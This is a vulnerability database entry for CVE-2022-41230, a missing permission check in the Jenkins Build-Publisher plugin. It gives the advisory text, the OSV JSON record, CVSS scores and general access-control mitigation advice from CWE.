      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3JP6-Q9CG-RVGJ

Vulnerability from github – Published: 2022-09-22 00:00 – Updated: 2022-12-06 14:26
VLAI
Summary
Missing permission check in Jenkins build-publisher Plugin
Details

Jenkins Build-Publisher Plugin 1.22 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to obtain names and URLs of Jenkins servers that the plugin is configured to publish builds to, as well as builds pending for publication to those Jenkins servers. At this time there is no known workaround or fix. The Build-Publisher plugin distribution has been suspended.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:build-publisher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-06T14:26:48Z",
    "nvd_published_at": "2022-09-21T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Build-Publisher Plugin 1.22 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to obtain names and URLs of Jenkins servers that the plugin is configured to publish builds to, as well as builds pending for publication to those Jenkins servers. At this time there is no known workaround or fix. The Build-Publisher plugin distribution has been suspended.",
  "id": "GHSA-3jp6-q9cg-rvgj",
  "modified": "2022-12-06T14:26:48Z",
  "published": "2022-09-22T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41230"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkins-infra/update-center2/pull/644"
    },
    {
      "type": "WEB",
      "url": "https://plugins.jenkins.io/build-publisher"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-09-21/#SECURITY-1994"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Missing permission check in Jenkins build-publisher Plugin"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list